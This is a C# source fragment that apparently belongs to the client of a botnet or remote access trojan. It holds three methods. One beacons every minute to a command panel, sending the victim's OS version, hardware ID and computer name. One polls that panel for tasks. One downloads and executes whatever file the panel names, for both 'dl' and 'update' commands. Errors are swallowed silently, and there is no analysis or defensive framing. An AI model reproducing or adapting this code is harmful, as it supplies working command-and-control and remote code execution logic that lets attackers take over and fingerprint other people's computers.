public void Download(Uri URL, string Filename) { try{ using (var client = new dongclient()) { FileToRun = Filename; client.DownloadFileAsync(URL, Filename); client.DownloadFileCompleted += new AsyncCompletedEventHandler(Run); } }catch (Exception) { } }
public async void SendAlive() { using (var client = new dongclient()) { while (1 == 1) { try { // We will send that we are alive var values = new NameValueCollection { { "os", OS_Version }, { "uid", HWID() }, { "name", PC_NAME } }; client.Headers.Add("user-agent", "HeHDoNgS"); client.UploadValues("http://" + PANEL_URL + "/accept.php", values); CommandsRespond(); await Task.Delay(60000); } catch (Exception) { SendAlive(); await Task.Delay(120000); } // If it's not alive we will just try to send it again } } }
public void CommandsRespond() { using (var client = new dongclient()) { string test = client.DownloadString("http://" + PANEL_URL + "/command.php?uid=" + HWID() + "&task="); Console.WriteLine(test); if (test.Length == 0) { } else if (test.Contains("dl")) { // Download and execute string[] DllURL = test.Split(','); //test to display dll url string URL = DllURL[1]; Console.Write(URL); Uri Dongs = new System.Uri(URL); string[] Filename = URL.Split('/'); Download(Dongs, Filename[3]); client.DownloadString("http://" + PANEL_URL + "/command.php?uid=" + HWID() + "&task=dl"); } else if (test.Contains("update")) { string URL = ""; Uri UpdateFile = new System.Uri(URL); string[] Filename = URL.Split('/'); Download(UpdateFile, Filename[3]); OnStartup(Filename[3], true); client.DownloadString("http://" + PANEL_URL + "/command.php?uid=" + HWID() + "&task=update"); } } }